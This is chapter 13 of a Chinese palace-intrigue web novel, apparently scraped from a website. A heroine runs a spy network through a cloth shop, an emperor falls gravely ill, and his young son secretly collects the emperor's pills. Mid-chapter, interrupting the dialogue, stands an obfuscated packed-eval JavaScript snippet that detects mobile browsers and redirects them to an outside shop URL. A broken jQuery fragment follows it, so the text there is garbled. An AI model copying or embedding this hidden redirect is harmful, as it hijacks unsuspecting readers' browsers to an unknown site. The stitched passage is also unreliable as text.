13. 13 情报网

作品:《臣夺君妻

    陆浄思为何要买下城西这间铺子?


    答案不在于这铺子的生意有多火爆。


    她要的从来不是那几两银子的进账,她要的,是情报。


    自打那批靛蓝料子上柜,达官贵人家的仆从便没断过,今日是齐府的大丫鬟来选秋衣,明日是韦家的管事婆子挑尺头,后日又添了宫里出来的采买太监,捏着兰花指在绸缎间挑挑拣拣,铺里的伙计一天见的人,比那宫里的贵人还要多。


    人来人往,嘴便杂,那些伙计侍女的嘴不像主子那么严,几两碎银子下去,什么话都能给你掏出来,哪家的夫人夜里咳得厉害,哪家的老爷半月没进后院,哪家的公子又在外头惹了祸,这些零零碎碎,东一句西一句,初听全是废话,可若有人能把它们攒在一处,便是另一回事了。


    情报获取、消息传递,她要的是这些。


    眼看掌柜的有些心动,陆浄思又添上一把火,“这铺子往后的收益我算你四成,你往后大可不必再操劳,只消在家中安坐,这银子便能自己滚进你口袋里去。”


    这话说得轻巧,却正中要害。


    掌柜的是生意人,生意人最怕什么?最怕亏掉本金,如今陆浄思肯让他不需本金就净赚四成分红,这买卖不做,他可就愧为商人。


    于是他瞬间就把方才那点子犹豫抛到了九霄云外,脸上立刻换上讨好的笑,两手不住地搓动,


    “姑娘真是实在人!这么好的买卖也叫我给摊上了,真是祖上积德、祖上积德啊!”


    说着便朝后头扯着嗓子喊,“小二!把那铁盒子端上来,拿房契!”


    店小二应声前来,手里端着个铁盒子,里面晃荡响了几声,想来里面装的应该就是这间铺子的各种契书。


    陆浄思接过颠了颠,就交给小涟收着了。


    前堂依旧人声鼎沸、嘈杂依旧,几个丫鬟抢着为自己小姐买那一匹布料,宫里的太监翘着腿在一旁等货,没人知道,这间铺子从今往后,将会变的不一样。


    几日后,祁王府。


    采购的嬷嬷带来几匹各色的布料,递到了陆浄思手里,她打开其中青色的几匹,展开铺平,在布的中央,用相近颜色的细线缝出了几段文字。


    这是她为铺子定下的规矩,店里伙计们把听到的话记下,转给后院的婆子,婆子用针线把消息缝进布里,线与布同色,针脚细密,不扯开看,谁也发现不了,缝好之后,布匹照常归入货架,与其他料子混在一处。


    祁王府每月都要采买布料,这是多少年的老规矩了,铺子会将带有消息的布料混入其他料子中交由采买的丫鬟一起带走,布匹进了王府后角门,由王妃过目这月要选用的布料样式,这时便落到陆浄思手里。


    陆浄思坐在窗边,仔细看着那些铺里递来的消息。


    其实大多是些琐碎事,什么韦家小姐的陪嫁比预想的多抬了几箱,齐家二老爷又悄悄去了哪处外宅,兵部侍郎家的婆子抱怨老爷近来脾气大得吓人,摔了三个茶盅两个碟子。


    这些消息零零散散,看着全无用处,但陆浄思知道,世上没有没用的消息,只有不会用消息的人。


    她一条条看过去,忽然,手指一顿。


    那布上的字迹歪歪斜斜,却清清楚楚地写着:“帝密召太医,连三日。”


    陆浄思盯着那几个字,半晌没动,窗外的日头正烈,院里的石榴花开得正盛,红艳艳的一片,可她的指尖却有些凉。


    连召三日太医,却不走明路,要“密召”。


    陛下的身子,怕是不好了。


    陆浄思皱了皱眉,箫亦沅开始动手了。


    用手指捏住露出的线头,她轻轻一拽,这行字就如同从未存在过一般,毫无痕迹的消失了。


    *


    太和殿外,日影西斜。


    头花发白的张太医走出后,额上渗出冷汗来,他抬手在额角按了按,指尖沾了层薄汗,陛下身体不适,方才他在殿内,他手刚抚上陛下手腕,内心就一慌。


    陛下的脉象轻按不明显,重按才得,且脉形细小,频率极快。


    这可是毒邪攻心之兆啊!


    张太医却半句不敢言语,这太医院有多少双眼睛瞅着,今日他多言半句,明日脑袋就要被架在城门上,但若是陛下出了半分差错,改掉脑袋又是他,做太医的,最怕便是这个,进也不是,退也不是,如临深渊,如履薄冰。


    他只好硬着头皮给陛下开了些救阳回逆之药,能撑一日是一日罢,但他心里清楚,那方子不过是治标不治本,可本在哪里,他不敢问,也不敢查,只盼着陛下能熬过这一关,否则这京城,怕是要变天了。


    日头已经偏西,太和殿内光线昏沉。


    太医刚离开不久,萧敬渊靠在榻上,批完最后一份折子,正要搁笔,忽然胸口一闷,他还未来得及唤人,一口血便涌了上来,溅在面前的奏折上,殷红一片。


    “咳…咳…”


    “父皇!!”


    榻旁传来一阵尖叫,萧敬渊抬头,没想到九皇子扑了上来,小脸苍白,眼里闪烁着泪水,死死攥着他的衣角。


    萧敬渊想说些什么,但胸口那股热浪并未消散,一张口又是喷涌而出的鲜血,滴落在地上,他扶着榻沿,大口喘着粗气,半天才缓过神来。


    他不愿让九皇子看到父皇这般不堪模样,还没起身就怒斥太监,“你们都是死人不成?还不快把九皇子带下去!”


    满屋的太监跪了一地,九皇子哭着不让人拉他离开,“父皇,是儿臣硬要进来的,不关他们事。”


    萧敬渊叹气,九皇子抓住他的手,他的手小小的,骨节分明,还轻轻颤抖着,终究还是不忍,便叫他留了下来,只是心中仍郁气难耐,只能随手抓过榻边的一罐安神丸,倒出四五颗,就水吞下,不知是不是心理作用,但他确实觉得好了几分。


    他靠回枕上,阖了阖眼。


    “父皇,你看儿臣今日写的字。”九皇子的声音在旁边响起,带着几分小心翼翼的期盼,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321168|199067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    萧敬渊睁开眼,九皇子已经从袖中摸出一张宣纸,双手捧着递到他面前,仰着脸看他,眼睛亮亮的,他接过那张纸,九皇子年幼,笔迹也稚嫩,但却看得出是上了心的,只是…


    萧敬渊看着眼前的孩子,心情却十分复杂,他只有七岁,话语难以服众,更难当大任。


    “先生今日教的,儿臣都记住了。先生说,这是说百姓最要紧,江山社稷都要往后排。”九皇子凑过来,指着那几个字,小脸上带着点得意。


    萧敬渊没说话,只是看着他。


    九皇子见父亲没应,又急着开口:“儿臣还问了先生,怎样才能让百姓过好日子,先生说要多读圣贤书,儿臣就……”


    他说着说着,声音小了下去,因为发现父亲的目光有些飘,没有落在纸上,也没有落在他身上,而是望着他身后某个地方,像是透过那堵墙,在看什么别的东西。


    萧敬渊想到他的第一个孩子,那时太子也是这般大,也是这般捧着自己写的字,仰着脸问他“父皇你看儿臣写得如何”。


    他突然开口,声音沙哑,“你大哥小时候,也是这般好学…”


    九皇子愣了一下,开口反驳,“父皇,我不一样…”


    萧敬渊没让他再说下去,自顾自的开口,“后来就不行了,那些人围着他,今天说这个,明天说那个,他听这个的也是,听那个的也是,最后谁的话都听,就是听不进朕的。”


    他叹了口气,那叹息很长,像是从胸腔最深处挤出来的。


    九皇子又说,“我和他不一样。”


    “你还太小了。”萧敬渊说,声音低得像是在对自己说一样。


    “你还太小了。”


    九皇子没再说话,只是往榻边又靠近了半步,把脸贴在父亲的手背上,那手很凉,骨节分明,手背上青筋凸起。


    内侍垂首立在门边,殿内安安静静的,只有窗外漏进来的风,吹得烛火轻轻晃了晃。


    萧敬渊又闭上眼睛,他累了,多日各位大臣的逼迫让他早已不堪重负,这一觉不知睡了多久,久到他的呼吸都开始渐渐平稳下来。


    九皇子站在榻边,低头看了他许久,那张稚嫩的脸在烛光的阴影里,神情一点一点地变了。


    他转过身,一步一步走向门口,脚步声极轻,门边候着的内侍正要行礼,被他抬手止住。


    “你过来。”他声音不高,却带着与年龄不符的冷意。


    那太监弯着腰凑到他跟前,九皇子踮起脚,在他耳边低语了几句,太监神色一凛,旋即躬身退下。


    片刻后,那太监又悄悄折返,双手捧着那只青瓷安神罐,递到九皇子面前。


    九皇子接过来,从罐中倒出数枚药丸,借着廊下昏暗的灯光仔细端详。


    药丸没什么异样,同他每日见父皇服用的那些一般无二,他从袖中摸出一方素帕,把药丸一颗颗包好,塞进自己怀里。


    做完这些,他转身看向殿内,片刻后便抬脚迈入夜色中。